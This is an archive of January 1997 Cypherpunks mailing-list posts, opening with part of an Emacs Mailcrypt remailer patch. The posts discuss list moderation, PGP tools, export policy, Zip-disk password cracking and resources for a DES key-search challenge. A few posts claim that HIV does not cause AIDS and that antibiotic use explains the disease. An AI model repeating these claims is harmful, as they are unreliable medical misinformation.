+ 	  (insert "Rewritten for chain `" chain-name "':\n\n"
+ 		  (mc-unparse-chain chain))
+ 	  (message "Done.  See %s buffer for details." mc-buffer-name)))))
+ 
+ ;;}}}
+ 
+ (defun mc-remailer-encrypt-for-nym (&optional pause)
+   "Encrypt message for a nym server, to be resent, prompting for chain to use.
+ 
+ With \\[universal-argument], pause before each encryption."
+   (interactive "P")
+   (let ((chains (mc-remailer-make-chains-alist))
+ 	(buffer (get-buffer-create mc-buffer-name))
+ 	chain-name chain nym)
+     (mc-nuke-field "CC")
+     (mc-nuke-field "Organization")
+     (mc-disallow-field "FCC")
+     (mc-disallow-field "BCC")
+     (setq chain-name
+ 	  (completing-read
+ 	   "Choose a remailer or chain: " chains nil 'strict-match))
+     (setq nym
+ 	  (read-from-minibuffer "Pseudonym: "))
+     (setq chain
+ 	  (mc-remailer-canonicalize-chain
+ 	   (cdr (assoc chain-name chains))
+ 	   chains))
+     (mc-rewrite-for-nym nym chain pause)
      (if chain
  	(save-excursion
  	  (set-buffer buffer)
- ---------------------------------cut here-----------------------------------

- -- 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Jeremey Barrett
Senior Software Engineer                         jeremey@veriweb.com
VeriWeb Internet Corp.                           http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
PGP Public Key: http://www.veriweb.com/people/jeremey/pgpkey.txt
                
		"less is more."  -- Mies van de Rohe.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


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Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

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/WZGnxyB2ADYlF0AMXfU60NzUO31KZzEbbOu8oX2I0KptXrDGiLYoQ6uerw/W441
1B4uAd2pEztqWwfwyYmLj57meQWJw1IjH7AuF0Mz9NJ7OLEWq+H5CC9w4zwo6u1/
nTrWv396Y6Q=
=jpyn
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 25 Jan 1997 07:55:42 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Rejection policy of the Cypherpunks maiing list
Message-ID: <199701251555.HAA28055@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701241411.GAA25271@toad.com>, on 01/24/97 at 09:09 AM,
   Toto <toto@sk.sympatico.ca> said:


>  I would like to point out, however, that anyone who has had their
>posts 'sorted' into the 'flames list' is now a 'known flamer', as
>evidenced by the fact that their post has been designated a 'flame'
>on a list run by a champion of free speech on the electronic
>frontier.

Intresting....

Does a single flame make a flamer??

I have in the past been involved in heated arguments on just about every
list/newsgroup I have been involved in. :)

I think this goes back to the topic of reputation capital. IMHO the occational message
that get's droped into the 'flames list' would have little effect on ones reputation.
While a complete ban all of ones posting or even a majority of ones posts making it to the
'flames list' could/would have a detrimtal
effect.

Hmmmm... Actually there could be an intresting side affect of a moderated list to a
posters reputation. Lets take the following example:

John Doe likes posting rants & flames 90% of the time. The other 10% of the
time he posts intelegent messages. Now on an un-moderated list a majority of
subscribers would get tierd of his rants, write him off as a kook and kill-file him. His
10% of intelegent posts would be lost in the 90% of noise and his
reputation would be adversly effected within the group.

Now on a moderated list the 90% of rants & flames would never be seen by the
list only the other 10%. His would wind up having a much higher reputation
among the group compaired to if all his posts were seen. 

I am not quite sure how to judge this effect. Should one take into account
the kooky behavior of a poster when veiwing his 'non kooky' posts? Does
moderation have a detrimental effect to establishing a reputation based system for a group
(how would Don Woods reputation faired if his rant's on OTP's
& ISP had been filtered out?)


>  It is obvious that some of the more intuitively intelligent list
>members are aware of this, as is indicated by the nervous fear with
>which they 'explain why' their post is crypto-relevant.

IMHO this is sheepish though I have noticed it before moderation started.

If I have somthing to post to the list I see no reason to justify why I am
posting it. This post I am making now has zero crypto-relevance and I make
no appoligies for it. Do I think it is relevant to the list? Yes otherwise
I would not have posted it. Either way no explination for the post is needed.



- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: See the Future; See OS/2.  Be the Future; Run OS/2.

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Version: 2.6.2

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eEQroUNNJ02g+42Gz9vEm2ZtWxWC9zAdIbmY/Hnw6SUyW/jgJKWNadd8Nh2HQYxV
CXMUpweNbdg=
=8pqg
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 25 Jan 1997 08:23:57 -0800 (PST)
To: Hugh Daniel <cypherpunks@toad.com
Subject: Re: Scandinavian Goverments provide PGP to postal customers...
Message-ID: <199701251623.IAA28390@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:29 PM 1/24/97 -0800, Hugh Daniel wrote:
>  FYI:
>>From: jsp@betz.biostr.washington.edu
[...]
>>    However, some hardware is required. Because the key is on a
>>    smartcard, users must have smartcard readers installed on their
>>    computers, which aren't yet widely available. But Pdr Andler of
>>    Finnish Hewlett Packard says that later this year, smartcard readers
>>    will become standard on computers in Scandinavia.
[...]

Interesting piece of trivia: I recently talked with a fellow from Intel. They are looking to purchase keyboards with smartcard readers built in. They hope to get them at $30/piece from suppliers in Asia. The lot size? 10 million.

That's a lot of smartcard readers. Even for Intel.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 25 Jan 1997 08:10:40 -0800 (PST)
To: tekmasta@global.california.com
Subject: Re: your mail
Message-ID: <199701251610.IAA28183@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:54 PM 1/24/97 -0800, tekmasta@global.california.com wrote:
>can anyone help me out with getting pgp working... I just got 2.6.2
>excutable the freeware one and its for dos... I need to get one that works
>with eudora or netscape.... please help!

You want PGPMail. A free, full strength, beta is available at http://www.pgp.com/

PGPMail offers single click integration with Eudora. I use it myself.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 08:10:40 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701251610.IAA28182@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk wrote:
> 
> John Gilmore is free to appoint
> whoever he wants to moderate his list, he is free to censor all
> messages which criticise him and his censorship, however, subscribers
> to the list should be told they are being censored on these grounds
> and not on some facade of "crypto relevancy" or another thin veil
> drawn weakly over content based censorship to protect a certain class
> of list members.

  It became rather glaringly obvious after moderation was announced
that class structure would be the defining feature of moderation.
  Those who felt themselves to be in the 'upper class' made no
bones about it.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 07:55:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypher-Oops!
Message-ID: <199701251555.HAA28047@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I was just wondering if the CypherPunks list is now the only list
that has an Administrative introduction for list members that could
not be posted in full to the list-proper, as it contains a flame
against an individual.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sat, 25 Jan 1997 08:23:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: testing email from airport kiosk
Message-ID: <199701251623.IAA28381@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> An update on the SF airport kiosk email machines:
...
> It does support anonymous email, in that you can type in
> any email address you want, and it doesn't seem to mind.
> In addition to limited web, telnet,  and outgoing email,
> it lets you retrieve email with POP3.  Doesn't seem to be a way
> to get it to run a program, though :-)

My immediate guess would be that everyone using it gets videotaped,
then all activity is logged, and that the LEAs are waiting for some
idiot to use it to retrieve kiddie porn and/or terrorist bobm-making
instructions.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl2.crl.com>
Date: Sat, 25 Jan 1997 08:55:41 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: TEST--MODERATED
Message-ID: <199701251655.IAA28657@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

We are still working out the bugs.  This message is SUPPOSED to
go only to the unedited list and the moderated list.  If it shows 
up on the flames list, we have a bug.  I'd like to have a couple
of you (Toto?  Dale Thorn?) let me know so we can trace down the 
problem and get it corrected.

Thanks,


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Leonid S Knyshov <wiseleo@juno.com>
Date: Sat, 25 Jan 1997 09:25:36 -0800 (PST)
To: tekmasta@global.california.com
Subject: Re: your mail
Message-ID: <199701251725.JAA28987@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>try my site too http://gcwp.com/fadedimage
>
>can anyone help me out with getting pgp working... I just got 2.6.2
>excutable the freeware one and its for dos... I need to get one that 
>works
>with eudora or netscape.... please help!

Well the obvious answer is to RTFM (Note: F is for fine) on DOS version,
its quite big. Also you seem to need Win PGP shell of some sort so that
you won't have to type those commands, i memorised my commands on the
3rd day of usage so no big deal about shells.

And then you cat'n'paste the code into your e-mail.

In some cases you can set it up as a spell checker ;)

Later.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Leonid S Knyshov <wiseleo@juno.com>
Date: Sat, 25 Jan 1997 09:25:45 -0800 (PST)
To: jer+@andrew.cmu.edu
Subject: Re: Encrypting ZIP disks
Message-ID: <199701251725.JAA28995@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>"David E. Smith" <dsmith@prairienet.org> writes:
>> 7.  Secure sensitive files.
>>      To keep sensitive or confidential information safe, store it
>>      on a Zip disk and use your Zip Tools software to assign a
>>      password that must be used in order to read from or write to
>>      the disk.  At work, you can protect sensitive information
>>      such as personnel files, company directories, and product
>>      plans and designs.  At home, you can secure personal
>>      information such as tax records, budgets, and computerized
>>      checkbooks.
>
>FWIW (not much), Iomega claims that it can't recover the data on a
>password-protected disk. However, they do export those things, so I
>doubt it's strong.

Well, I think one way to find out is to create 2 identical zip disks and
encrypt them with different passwords. Then do sector by sector compare
and see where the beast is hiding at :)

Leo.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 25 Jan 1997 09:55:35 -0800 (PST)
To: Hugh Daniel <hugh@ecotone.toad.com>
Subject: Re: Scandinavian Goverments provide PGP to postal customers...
Message-ID: <199701251755.JAA29418@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>>    However, some hardware is required. Because the key is on a
>>    smartcard, users must have smartcard readers installed on their
>>    computers, which aren't yet widely available. But Pdr Andler of
>>    Finnish Hewlett Packard says that later this year, smartcard readers
>>    will become standard on computers in Scandinavia. "It is a really
>>    big help for users, who don't have to remember dozens of
>>    passwords when using different kind of services," Andler says.

Didn't HP have a GAKed smartcard they were pushing?  I wonder if anyone is
going to make assurances that no one is spliting the keys with the soundman...


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMuo9reQCP3v30CeZAQFl+gf+JXHoo2WAenGiHQuEFQcaxiAZ6SPQJE/K
PSBUqgksy+tcvcr8JsLGkkIDZLrJ9B0LaVp2wbbZY2j6YtcsGCgBW0WLXeXbKJve
e0L8epy1GHWPO3d8peiI4InnZaXWM815+TSI2aUDX+NBLMNIkX6/k4muwQtW6KAo
ysApcbxBWeyARWklyL3pCQyYRulPhtiPjlQ3g8dFVjx3PUhOmdTuK7rjCNo502MO
quXS07kkUFYhn53Mej4r90NZ88awdCKjytsDcIYVTZxY8sBanZ4Qux0OYGvwqfyr
fY2Hfd4GFBw/6FPLHn2IWD9AH5O7TudPOC4SAiLTymBGDct8vtBBUg==
=fF/v
-----END PGP SIGNATURE-----

---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Zer <satan_is_a_hacker@juno.com>
Date: Sat, 25 Jan 1997 08:10:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [No Subject:]
Message-ID: <199701251610.IAA28175@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 25 Jan 1997 00:30:57 -0800 Bill Stewart <stewarts@ix.netcom.com>
writes:
>Hi!  It's useful to include a subject line in email so people
>can decide whether to read it and have more context for it,
>though calling yourself "fuck you" will probably deter a few people.
>There are lots of anarchists on the net; you can run into some good
>discussions on Usenet on several newsgroups with "anarchy" or 
>"anarchism"
>in the titles.  Rec.caves has good underground material......

You missed the hole point. You read that BECAUSE their was no header, if
it was ANARCHY you would have just deleted it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 12:55:42 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701252055.MAA02659@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> At 07:38 PM 1/23/97 -0600, Jim Choate wrote:
> One of the points of the Ebonics program is to recognize that
> other people don't always speak the same way you do, and that
> if you want to communicate with them, you'll be more successful
> if you realize it, understand when they're talking in their dialect,

I could agree with "some of the points" of the Ebonics program were
it not for the fact of the hidden points.  Unbeknownst to most folks,
supporting a program on any erstwhile points will give support to the
program on *all* points.

One specific example:

When I worked for Firestone corporate from 1970 to 1981, we were
bullied into giving to the United Fund. (BTW, I learned how much
my boss was making by reading the punches on the IBM cards.) The one
bone they tossed us was we could specify which worthy causes our
personal contribution would go towards.  The trick was, if a certain
greater-than-expected number of people specified a Catholic charity,
for example, more funds would then be moved into the other charities
to balance that out.  Presumably those funds would come from those
folks who hadn't declared a designee.

In my view, once the contributors' specific designations were made,
the remaining undesignated contributions should have been split
across the designees according to the original percentages declared
in the U.F. literature.  Anything else would be a farce.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Zer <satan_is_a_hacker@juno.com>
Date: Sat, 25 Jan 1997 08:10:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: HELLO
Message-ID: <199701251610.IAA28150@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Is  ESDES  a good program?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 12:55:35 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: overview.htm
Message-ID: <199701252055.MAA02651@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Jim Choate <ravage@einstein.ssz.com> writes:

> [For the record, I have serious doubts whether the HIV virus causes AIDS.]

Both homosexual males and IV drug users are well known to take a lot
of antobiotics, which lowers the efficacy of the immune system enough
to allow most anything to happen, ultimately leading to auto-immune
problems.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Sat, 25 Jan 1997 08:23:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: encrypt_1.html
Message-ID: <199701251623.IAA28393@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
   
                    [ Yahoo | Write Us | Search | Info ]
                                      
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
     _________________________________________________________________
                                      
   Previous Story: Texas Instruments Posts Loss, Stock Soars
   Next Story: FCC Chief Asks If Policy Should Focus On Internet
     _________________________________________________________________
                                      
   Friday January 24 10:08 AM EST 
   
US Senator Will Reintroduce Encryption Export Bill

   WASHINGTON - Sen. Conrad Burns will reintroduce next week his measure
   to substantially eliminate export restrictions on computer encoding
   technology, a spokesman for the Senator says.
   
   "We are aiming for the 28th (of January) and it will be the same bill
   as last year," Matt Raymond, spokesman for the Montana Republican,
   said.
   
   President Clinton signed an executive order in November slightly
   relaxing export controls on encryption technology -- computer programs
   that use mathematical formulas to scramble information and render it
   unreadable without a password or software "key."
   
   But many in Congress and the computer industry have said the new
   Clinton policy did not go far enough to lift the Cold War era export
   limits that classified most encryption programs as munitions.
   
   Copyright, Reuters Ltd. All rights reserved
   
     _________________________________________________________________
                                      
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   Previous Story: Texas Instruments Posts Loss, Stock Soars
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    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
     _________________________________________________________________
                                      
                              Reuters Limited
                                      
   
   
    Questions or Comments





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sat, 25 Jan 1997 08:55:54 -0800 (PST)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Re: Encrypting ZIP disks
Message-ID: <199701251655.IAA28677@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Kocher announced that he has cracked it, and can recover data
quickly.  He is not publishing details of the break.

Adam


Jeremiah A Blatz wrote:
-- Start of PGP signed section.
| "David E. Smith" <dsmith@prairienet.org> writes:
| > 7.  Secure sensitive files.
| >      To keep sensitive or confidential information safe, store it
| >      on a Zip disk and use your Zip Tools software to assign a
| >      password that must be used in order to read from or write to
| >      the disk.  At work, you can protect sensitive information
| >      such as personnel files, company directories, and product
| >      plans and designs.  At home, you can secure personal
| >      information such as tax records, budgets, and computerized
| >      checkbooks.
| 
| FWIW (not much), Iomega claims that it can't recover the data on a
| password-protected disk. However, they do export those things, so I
| doubt it's strong.
| 
| Jer
| 
| "standing on top of the world/ never knew how you never could/ never knew
|  why you never could live/ innocent life that everyone did" -Wormhole
-- End of PGP signed section.


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Sat, 25 Jan 1997 09:55:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Public Key Partners
Message-ID: <199701251755.JAA29412@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

Do you know of a way I can contact Public Key Partners by e-mail or phone?
Thanks.

Jeremy K. Yu-Ramos
President
DataET Research
Data Engineering Technologies





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 25 Jan 1997 12:55:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: US Info Supremacy
Message-ID: <199701252055.MAA02667@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>From Financial Times 26 January:

"Defence experts in both the US and western Europe
have commented recently that the US forces' lead in
information technology is growing to the point where
Washington may question the military usefulness of
allies."

Pointers to these comments would be appreciated.

Further, if the speculation of US supremacist go-it-alone
policy is correct, how might this affect:

1. US crypto export policy.

2. Crypto czar Aarons' role in promoting global GAK.

3. Other nation's suspicion of the US and its technological
prowess, caused, for example, by the NSA's avowed intention 
to surveil all the world's communcation, and if encrypted to 
crack it at any cost.

4. Increasing isolation of the US from foreign innovation 
and talent -- the imperialist incest decline.

5. The future of treaties such as US/UK/AUS, NATO, SEATO,
and the like for intel-sharing and crypto control.

Two observations:

One, last year's NRC crypto report said that strong crypto should not be 
a problem, and that other, unidentified, technologies should 
be supported instead to assure domestic and national security.

Two, the recent InfoWar-Defense report has been criticized as unduly
alarmist, because the US has sufficient means (Perry and others 
claim) to protect against information attacks. One NCSC commentator 
on talk.politics.crypto said that the IW-D techie panelists were out of 
touch, unlike Stewart Baker, a lawyer!

Hence, it might be worth considering that both the NRC report and
the IW-D reports are diversionary, disinformation to conceal US
true capabilities -- strengths and weaknesses. Moreover, the crypto 
debate itself might be diversionary from other more crucial information 
defense technology -- for surveilling, sifting, interpreting, analyzing, 
decrypting, mining and securely storing. As well as offensive means 
to counterattack US communications attackers.

Or, turning the matter one more time, perhaps crypto is in fact the heart 
of the national security problem and the avowed other, unidentified, more
crucial, technology is a sham to mislead about US and other government's
true weaknesses. The Commerce Control List is almost incoherent in
trying to definitively regulate advancing technology.

Paranoia may be increasing among governments due to the crypto debate
and related issues of information security, such that each may, like the
US is allegedly doing, retreating to within its own technological borders, while
at the same time engaging in PsyWar about threats, defenses and offenses.

Hello, Tim May and our other solons and Solomons.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 25 Jan 1997 14:12:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: overview.htm (fwd)
Message-ID: <199701252212.OAA03646@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Sat, 25 Jan 1997 10:31:49 -0800
> From: Dale Thorn <dthorn@gte.net>
> Subject: Re: overview.htm
> 
> Dr.Dimitri Vulis KOTM wrote:
> > Jim Choate <ravage@einstein.ssz.com> writes:
> 
> > [For the record, I have serious doubts whether the HIV virus causes AIDS.]
> 
> Both homosexual males and IV drug users are well known to take a lot
> of antobiotics, which lowers the efficacy of the immune system enough
> to allow most anything to happen, ultimately leading to auto-immune
> problems.

WOAH Bessie!

I had nothing to do with this exchange, and definitely didn't write ANY of
the above. Please get me out of there and keep me out of it. I am more than
able to speak for myself thank you.

                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 25 Jan 1997 14:10:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701252210.OAA03633@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Sat, 25 Jan 1997 10:19:20 -0800
> From: Dale Thorn <dthorn@gte.net>
> Subject: Re: Fighting the cybercensor. (fwd)
> Precedence: bulk
> 
> Bill Stewart wrote:
> > At 07:38 PM 1/23/97 -0600, Jim Choate wrote:

I most certainly did NOT...

> > One of the points of the Ebonics program is to recognize that
> > other people don't always speak the same way you do, and that
> > if you want to communicate with them, you'll be more successful
> > if you realize it, understand when they're talking in their dialect,
> 
> I could agree with "some of the points" of the Ebonics program were
> it not for the fact of the hidden points.  Unbeknownst to most folks,
> supporting a program on any erstwhile points will give support to the
> program on *all* points.

Looks like Bessie could use a refresher course in:

   *  Getting their sources correct

   *  Using their mail/editing package

   *  Basic rules of courtesy

Folks, if you can't get it straight, keep your damn editor buffers empty.

                                                Jim Choate
                                                CyberTects
                                                ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 25 Jan 1997 17:10:38 -0800 (PST)
To: Adam Shostack <jer+@andrew.cmu.edu>
Subject: Re: Encrypting ZIP disks
Message-ID: <199701260110.RAA05992@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:40 AM 1/25/97 -0500, Adam Shostack wrote:
>
>Paul Kocher announced that he has cracked it, and can recover data
>quickly.  He is not publishing details of the break.

Why?



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 25 Jan 1997 17:10:35 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: Public Key Partners
Message-ID: <199701260110.RAA05986@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Hello,
>
>Do you know of a way I can contact Public Key Partners by e-mail or phone?
>Thanks.
>
>Jeremy K. Yu-Ramos
>President
>DataET Research
>Data Engineering Technologies

PKP is really just a holding/licensing company.  Last time I heard Bob
Fougner was still legal council to PKP.  You should be able to contact him
through Cylink Corp. (800) 600-5858.

-- Steve

P.S. Tell him hello from me.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Julian Assange <proff@iq.org>
Date: Sat, 25 Jan 1997 02:10:58 -0800 (PST)
To: meditation@gnu.ai.mit.edu
Subject: language drift
Message-ID: <199701251010.CAA23802@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



One of my projects involves tracking language drift; i.e the relative
change in word frequency on the internet as time goes by.  This is
useful for predicting concept movement, and the anglisization
rates of non-English language countries.

Now, one day while browsing the frequencies from the 10 billion
word corpus, what do I see?

God     	2,177,242
America 	2,178,046
designed        2,181,106
five    	2,189,194
December        2,190,028

;)

-Julian Assange <proff@iq.org>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Poppler <lwp@mail.msen.com>
Date: Sat, 25 Jan 1997 15:40:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Voting to require Photo ID in Michigan
Message-ID: <199701252340.PAA04730@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Late last year, in the final days that Republicans controlled both
houses of the Michigan Legislature, they passed a new law requiring
citizen-units to show a picture ID in order to vote.  This law was
signed by Governor John Engler earlier this month.  Here I reproduce
without permission a news brief from the Lansing State Journal,
which gives some reactions to the new law.  Particularly interesting
to me is the promise of selective enforcement from the Governor's
spokesman.

' LAWMAKER SEEKS VOTER LAW REVIEW
'     Pontiac -- A Republican lawmaker has asked the U.S. Justice 
' Department to review a new state law that will require voters to show
' photo identification to cast ballots.
'     Rep. Greg Kaza of Rochester Hills wrote to Attorney General Janet
' Reno this week to seek the review, The Oakland Press reported Thursday.
'     The new law requires all voters to have a state photo ID card, such
' as a driver's license or an ID card people receiving public assistance
' are required to have.
'     Kaza said Wednesday he wrote to Reno that "Public Act 583 of 1996
' has the potential to intimidate certain classes of voters, including
' senior citizens, from exercising their democratic right to vote.  They
' should not be disenfranchised from exercising their right to vote 
' under the United States Constitution."
'     Gov. John Engler signed the bill last week.  His administration
' says it is needed to protect the integrity of the voting process, but
' critics, mostly Democrats, say it would exclude some people from voting.
'     "It is our belief you need an ID in society today," Engler spokesman
' John Truscott said.  "And only if you are challenged at the ballot box
' do you have to show an ID."
'     Michigan Attorney General Frank Kelley already has been asked to
' issue an opinion on whether the new law is constitutional.

::::::::::::::::::::::::::::::::::::::  "We are surrounded by 
:: Lou Poppler <lwp@mail.msen.com>  ::   insurmountable opportunity."
::      http://www.msen.com/~lwp/   ::  
::::::::::::::::::::::::::::::::::::::   -- Pogo (Walt Kelly)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@razor.engr.sgi.com>
Date: Wed, 29 Jan 1997 07:18:20 -0800 (PST)
To: James Robertson <jamesr@magna.com.au>
Subject: Re: [DES] DES Key Recovery Project, Progress Report #7
Message-ID: <199701291518.HAA03774@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Jan 25, 10:49am, James Robertson wrote:
> 
> Are there any efforts being made to develop a version of the
> software that can be used by us non-US residents?
> 
> I would certainly like to participate in the Challenge. I'm 
> sure there are many other interested people out there, in the
> big wide world ...

No such development outside the US has been publicized.

However, it is easy enough to roll your own.

What you need:

1) Eric Young's libdes. ftp://ftp.psy.uq.oz.au/pub/Crypto/DES

2) Svend Olaf Mikkelsen's fast replacement for the core DES routine.
http://inet.uni-c.dk/~svolaf/des.htm
The latest libdes is supposed to have this faster routine incorporated
already, so you may not need it.

3) Peter Trei's article on "Optimizing DES Key Recovery in Software".
It is available at HKS's news server.
news://nntp.hks.net/<199610171918.MAA23054@toad.com>

For a first pass, you can just implement the Gray Code technique. That
gives most of the speedup.

4) Some information on how to implement Gray Codes.
"The Gray Code" by Robert W. Doran. Tech Report 131 from
http://www.cs.auckland.ac.nz/~techrep/1996.html

Given these resources, it shouldn't take long for a
good programmer to implement a DES key search program that
is in the same ballpark of performance as Peter Trei's implementation.

--
Anil Das






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 25 Jan 1997 17:25:52 -0800 (PST)
